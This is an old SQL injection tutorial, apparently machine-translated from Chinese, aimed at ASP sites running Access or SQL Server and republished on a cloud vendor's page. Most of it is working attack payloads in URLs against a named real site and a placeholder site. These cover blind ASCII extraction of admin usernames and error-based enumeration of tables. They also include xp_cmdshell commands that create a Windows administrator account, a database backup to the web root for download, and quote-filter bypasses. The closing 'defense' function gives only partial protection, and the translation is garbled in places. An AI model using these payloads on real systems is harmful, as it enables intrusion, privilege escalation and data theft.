Classic SQL Injection tutorial

Source: Internet
Author: User
Tags sql injection tutorial sql server injection

Transfer to hacker XFile

With the development of B/S application development, more and more programmers are writing applications using this mode. However, the entry point of this industry

The threshold is not high, and the programmer's level and experience are also uneven. A considerable number of programmers did not input data to users when writing code.

Security risks exist in applications. You can submit a piece of database query code based on the results returned by the program,

Obtain the data he wants to know. This is the so-called SQL injection, that is, SQL injection.

SQL injection is accessed from the normal WWW port, and the surface looks similar to the general web page access, so the current municipal anti-DDOS service

Fire walls do not alert SQL injection. If the Administrator does not check IIS logs, it may not be detected for a long time.

However, the SQL injection method is quite flexible, and many unexpected situations may occur during the injection process. Can I analyze it based on the actual situation,

Constructing clever SQL statements to successfully obtain the desired data is the fundamental difference between the experts and cainiao.

According to national conditions, ASP + access or sqlserver accounts for more than 70% of Chinese websites, PHP + mysq accounts for L20 %, and other websites are less than 10%. In this article

We will explain the methods and skills of ASP injection from entry-level, advanced to advanced. The PHP injection article is written by another Nb Alliance friend Zwell.

It is intended to be useful to security workers and programmers. Do not skip this article because some people know about ASP Injection

There are still some mistakes in the basic judgment method. Are you ready? Let's go...

Entry

If you have never tried SQL injection before, set ie menu> Tools> Internet Options> advanced> show friendly HTTP

Remove the check box before the error message. Otherwise, no matter what error is returned by the server, ie Only displays as an HTTP 500 server error and cannot obtain

Multiple prompts.

Section 1. Principles of SQL Injection

We will start from a website http://www.19cn.com/( Note: most of the data is real data that has been approved by the webmaster before this article is published ).

On the homepage of the website, there is a link named "IE cannot open a new window for multiple solutions". The address is:

Http://www.19cn.com/showdetail.asp? Id = 49. we add a single quotation mark (') next to this address. The server will return the following error.

Error message:

Microsoft JET Database Engine error '80040e14'

The syntax error of the string is in the query expression 'id = 49.

/Showdetail. asp, row 8

We can see the following points from the error prompt:

1. The website uses an Access database and connects to the database through the JET engine, instead of using ODBC.

2. The program does not determine whether the data submitted by the client meets the program requirements.

3. The table queried by this SQL statement has a field named ID.

From the above example, we can know that the principle of SQL injection is to submit special code from the client to collect the program and Server

Information to obtain the information you think.

Section 2: Determine whether SQL injection can be performed

After reading the first section, some people will think: I also often test whether it can be injected. Isn't it very easy?

In fact, this is not the best method. Why?

First, not necessarily the IIS of each server returns a specific error message to the client. If a cint (parameter) or other statement is added to the program,

SQL Injection fails, but the server also reports an error. The specific prompt is that an error occurs on the server when processing the URL. Contact the system administrator

Contact the administrator.

Second, some programmers who have a little knowledge about SQL Injection think that it is safe to filter out single quotes. This situation is not a minority, such

If you use single quotes for testing, the injection points are not tested.

So what test method is more accurate? The answer is as follows:

① Http://www.19cn.com/showdetail.asp? Id = 49

② Http://www.19cn.com/showdetail.asp? Id = 49; and 1 = 1

3 http://www.19cn.com/showdetail.asp? Id = 49; and 1 = 2

This is the classic 1 = 1, 1 = 2 test method. How can this problem be determined? You can see the results returned from the above three urls:

Injection performance:

① Normal display (this is inevitable, or the program is wrong)

② Normally displayed, the content is basically the same as ①

③ Prompt BOF or EOF (when the program does not make any judgment), or prompt that the record cannot be found (when rs. eof is determined), or the display content is blank

On error resume next is added in sequence)

If it cannot be injected, it is easier to judge. ① It is displayed normally. ② and ③ There are generally Program-defined error prompts or type conversion prompts.

Error.

Of course, this is only the method used to determine when the input parameters are numeric. in actual application, there will be numeric and search parameters.

In the intermediate section "General SQL Injection steps" for further analysis.

Section 3. Database types and injection methods

Different database functions and injection methods are different. Therefore, before injection, we need to determine the database type. Average

The most commonly used databases of ASP are Access and SQLServer, and more than 99% of websites on the Internet are among them.

How can a program tell you what database it uses? Let's take a look:

Sqlserver has some system variables. If the IIS server prompts that it is not closed and sqlserver returns an error message, you can directly

To obtain error information, follow these steps:

Http://www.19cn.com/showdetail.asp? Id = 49; and user> 0

This statement is simple, but contains the essence of the SQL Server injection method. I also found this effect in an unintentional test.

The method of guessing with a high rate. Let me see what it means: first, the preceding statement is normal, with emphasis on and user> 0. We know that,

User is a built-in variable of sqlserver. Its value is the username of the current connection and its type is nvarchar. Take a nvarchar value and

If the number of int values is 0, the system first tries to convert the nvarchar value to the int type. Of course, there will be errors in the conversion process. sqlserver errors

The prompt is: a syntax error occurs when converting nvarchar value "ABC" into a column whose data type is int. Haha, ABC is the value of the variable user.

In this way, the user name of the database is obtained without waste. In the future, we will see many statements using this method.

By the way, as we all know, the sqlserver user SA is a role equivalent to the adminstrators permission and has obtained the SA permission, almost certainly

You can get the administrator of the host. The above method can easily test whether to log on with SA. Note that:

Log on to the SA and the system prompts that an error occurred while converting "DBO" to an int column, instead of "sa ".

If IIS on the server does not allow an error message to be returned, how can we determine the database type? We can start with the difference between access and sqlserver

, Access and SQLServer have their own system tables, such as tables that store all objects in the database, Access is in the system table

[Msysobjects], but when you read the table in the Web environment, the system prompts "no permission". SQLServer is in the table [sysobjects] and in the Web Environment

Can be read normally.

Use the following statement to confirm that the injection can be performed:

Http://www.19cn.com/showdetail.asp? Id = 49; and (select count (*) from sysobjects)> 0

Http://www.19cn.com/showdetail.asp? Id = 49; and (select count (*) from msysobjects)> 0

If the database is SQLServer, then the first web site page with the original page http://www.19cn.com/showdetail.asp? Id = 49 Yes

The second web site, because the table msysobjects cannot be found, will prompt an error. Even if the program has a fault tolerance, the page is similar to the original

The page is completely different.

If the database uses Access, the situation is different. The page of the first website is different from the original one.

Whether or not the database settings allow reading the system table is generally not allowed, so it is completely different from the original website. In most cases

The first web site shows the database type used by the system. The second web site is used only for verification when the IIS error prompt is enabled.

Level 1

In this article, we learned how to judge SQL injection, but it is far from enough to obtain the website's confidential content. Next, I

We will continue to learn how to get the desired content from the database. First, let's take a look at the general steps of SQL injection:

Section 1: General steps of SQL Injection

First, judge the environment, find the injection point, and determine the database type. This is already discussed in the Getting Started article.

Secondly, according to the injection parameter type, the original appearance of the SQL statement is reconstructed in mind. There are three types of parameters:

(A) id = 49 These injection parameters are numeric. The SQL statement is roughly as follows:
Select * from table name where field = 49
The injected parameter is id = 49 and [query condition], that is, the generated statement:
Select * from table name where field = 49 and [query condition]

(B) Class = the injection parameters of the series are simplified. The SQL statements are roughly as follows:
Select * from table name where field = 'series'
The injected parameters are class = series and [query conditions] And ''= ', that is, the generated statement:
Select * from table name where field = 'series' and [query conditions] And ''=''

(C) If parameters are not filtered during search, such as keyword = keyword, the original appearance of the SQL statement is roughly as follows:
Select * from table name where field like '% keyword %'
The injected parameter is keyword = 'and [query condition] And' % 25' = ', which is the generated statement:
Select * from table name where field like '%' and [query condition] And '%' = '%'

Then, replace the query condition with an SQL statement to guess the table name, for example:

Id = 49 and (select count (*) from Admin)> = 0

If the page is the same as that of ID = 49, the additional conditions are true, that is, the table admin exists, and vice versa (Please remember this method ). For example

This loop until the table name is guessed.

After the table name is guessed, replace count (*) with Count (field name) and use the same principle to guess the field name.

Some people may say: there are some occasional elements. If the table name is complex and irregular, it won't be enough. That's right.

There is no 100% successful hacker technology in the world. No matter how technical or advanced hackers are, they are all because of others' processes.

This is only possible if the order is not strictly written or the user's security awareness is insufficient.

I am a little confused. After all, there is still a way for the SQL Server database to let the program tell us the table name and field name.

.

Finally, after the table name and column name are successfully guessed, use the SQL statement to obtain the field value. The following describes the most common method-ASCII verbatim

Decoding Method. Although this method is slow, it must be a feasible method.

For example, we know that the username field exists in the admin table. First, we take the first record and test the length:

Http://www.19cn.com/showdetail.asp? Id = 49; and (select top 1 Len (username) from Admin)> 0

First, describe the principle: if the length of the top 1 username is greater than 0, the condition is true. Then, test> 1,> 2,> 3

Such as> 7,> 8, or Len (username) = 8.

Of course, no one will be stupid from 0, 1, 2, 3 tests one by one, so how can we get started quickly. After obtaining the length of username,

Use mid (username, N, 1) to intercept the nth character, and then ASC (mid (username, N, 1) to obtain the ASCII code, for example:

Id = 49 and (select top 1 asc (mid (username, 1, 1) from Admin)> 0

The ASCII code of 1st characters is also obtained by gradually narrowing down the range. Note that the ASCII code of English and numbers is between 1 -.

It uses the half-fold method to accelerate the guessing. If it is written into a program for testing, the efficiency will be greatly improved.

Section 2 SQL Injection common functions

Those who have basic SQL language have a much higher success rate than those who are not familiar with SQL injection. We need to improve our SQL level.

, Especially some common functions and commands.

Access: asc (character) SQLServer: unicode (character)

Purpose: return the ASCII code of a character.

Access: chr (number) SQLServer: nchar (number)

Function: opposite to asc, returns Characters Based on the ASCII code.

Access: mid (string, N, L) SQLServer: substring (string, N, L)

Purpose: return the substring of the string that starts from N characters and ranges from N to N + L.

Access: abc (number) SQLServer: abc (number)

Purpose: return the absolute value of a number (used to guess Chinese characters)

Access: A between B And C SQLServer: A between B And C

Purpose: Determine whether A is between B and C.

Section 3. Chinese Processing Methods

It is common to encounter Chinese characters during injection. Some people may want to retreat when they encounter Chinese characters. In fact, we only need to encode Chinese characters.

Solution: Chinese phobias can be quickly overcome.

First, let's talk about common sense:

In Access, the Chinese ASCII code may have a negative number. After this negative number is obtained, use abs () to obtain the absolute value. The Chinese characters remain unchanged.

In SQLServer, Chinese ASCII is a positive number, but because it is a UNICODE double-bit encoding, the ascii Code cannot be obtained using the function ASCII (), must

Return the unicode value using the unicode () function, and use the nchar function to obtain the corresponding Chinese characters.

After learning about the above two points, Do you think Chinese Guesses are actually similar to English? In addition to the functions used, pay attention to the fact that the scope of the guess is greater than one.

The method is similar.
High Level

After reading the introductory and advanced articles, you can practice a little bit to crack common websites. However, if you cannot guess the name of the table or the author of the program

How can I improve the success rate of injection when some special characters are filtered? How can we improve the efficiency of guessing? Next, read the advanced article.

Section 1. inject SQL Server databases using system tables

SQLServer is a powerful database system that is closely related to the operating system, which brings great convenience to developers.

On the other hand, it also provides a stepping stone for the inspector. Let's take a look at several specific examples:

① Http: // Site/url. asp? Id = 1; exec master .. xp_cmdshell "net user name password/add "--

Semicolons (;); In SQLServer, separate the first and second statements. -- It indicates that the subsequent statements are comments.

The statement is divided into two statements for execution. First, Select the record with ID = 1 and then execute the Stored Procedure xp_mongoshell. This stored procedure is used to call

The system command creates a windows account with the username and password as follows:

② Http: // site/url. asp? Id = 1; Exec master .. xp_cmdshell "net localgroup name administrators/Add

"--

Add the new account name to the Administrator Group. It does not take two minutes. You have obtained the highest system permission! Of course, this method only applies

Use SA to connect to the database. Otherwise, you do not have the permission to call xp_mongoshell.

③ Http: // site/url. asp? Id = 1; and db_name ()> 0

The preceding example and user> 0 is used to obtain the connection user name. db_name () is another system variable and the returned result is a connection.

Database Name.

④ Http: // site/url. asp? Id = 1; backup database name to disk = 'C: \ Inetpub \ wwwroot \ 1. db ';--

This is a tough move. The database name obtained from ③, coupled with the absolute path exposed by some IIS errors, backs up the database to the web directory.

And then use HTTP to download the entire database. All the administrators and user passwords are at a glance! When you do not know the absolute path

You can also back up the network address (for example, \ 202.96.xx.xx \ share \ 1.db), but the success rate is not high.

⑤ Http: // site/url. asp? Id = 1; and (select top 1 name from sysobjects where xtype = 'U' and

Status> 0)> 0

As mentioned above, sysobjects is a system table of sqlserver. It stores all table names, views, constraints, and other objects. xtype = 'U'

And status> 0, indicating the name of the table created by the user. The preceding statement extracts the first table name and compares it with 0, so that the error message is used to expose the table name to a storm.

Exposed. 2. How can I obtain the name of the third table? Let's leave it to our smart readers.

⑥ Http: // site/url. asp? Id = 1; and (select top 1 col_name (object_id ('table name'), 1) from

Sysobjects)> 0

After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents 1st words of the table.

Segment name: replace 1 with 2, 3, 4... to get the field names in the table you want to guess.

The above six points are the painstaking efforts I have made to study sqlserver for more than half a year. We can see that my understanding of sqlserver directly affects

The success rate and the speed of guessing. After studying sqlserver injection, my development level has also been greatly improved.

Xu's security and development are complementary.

Section 2. Bypass program restrictions and continue Injection

As mentioned in the entry-level article, many users prefer to use the 'number test to inject vulnerabilities. Therefore, many users use the' number filtering method to "Prevent" injection vulnerabilities.

This may block some hacker attacks. However, those familiar with SQL injection can still use related functions to bypass the process.

The purpose of the limit.

In the "general steps of SQL injection" section, all the statements I use are optimized so that they do not contain single quotes.

In System Table injection into sqlserver database, some statements include the 'sign. Let's take an example to see how to modify these statements:

A simple example is where xtype = 'u'. the ASCII code of the character U is 85, so you can replace it with where xtype = char (85 ).

Where name = 'user' can be replaced by where name = nchar (29992) + nchar (25143.
Re: ClassicSQL Injection tutorial

Section 3 Experience Summary

1. Some people will filter keywords such as Select, Update, and Delete, but forget to be case sensitive, so you can use selecT

Try it.

2. If you cannot guess the field name, check the logon form on the website. Generally, for convenience, the field names are the same as those in the input box of the form.

Name.

3. Note: The + number in the address bar is interpreted as a space, % 2B is interpreted as a + number, and % 25 is interpreted as a % number. For details, see URLEncode.

.

4. When the Get method is used for injection, IIS will record all your submission strings and will not record the Post method. Therefore, try not to use the Post URL.

Use Get.

5. You can only use the Ascii literal decoding method to guess the Access method. SQLServer can also use this method, only the difference between the two is needed,

If the SQL server error message is used to expose the value, the efficiency and accuracy will be greatly improved.

Defense methods

The SQL injection vulnerability can be described as a "treasure of thousands of miles, broken by the ant nest". This vulnerability is very common on the Internet and is usually caused by the inability of programmers to inject

Solution, or the program filtering is not strict, or a parameter is not checked. Here, I will give you a function to replace the Request in ASP.

Function, which can inject Say NO to all SQL statements. The function is as follows:

Function SafeRequest (ParaName, ParaType)
'--- Input parameters ---
'Paraname: parameter name-parameter type
'Paratype: parameter type-number type (1 indicates that the preceding parameter is a number, and 0 indicates that the preceding parameter is a character)

Dim paravalue
Paravalue = request (paraname)
If paratype = 1 then
If not isnumeric (paravalue) then
Response. Write "parameter" & paraname & "must be numeric! "
Response. End
End if
Else
Paravalue = Replace (paravalue ,"'","''")
End if
Saferequest = paravalue
End Function

This article is over. Whether you are a security engineer, a technical enthusiast or a programmer, I hope this article will help you.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.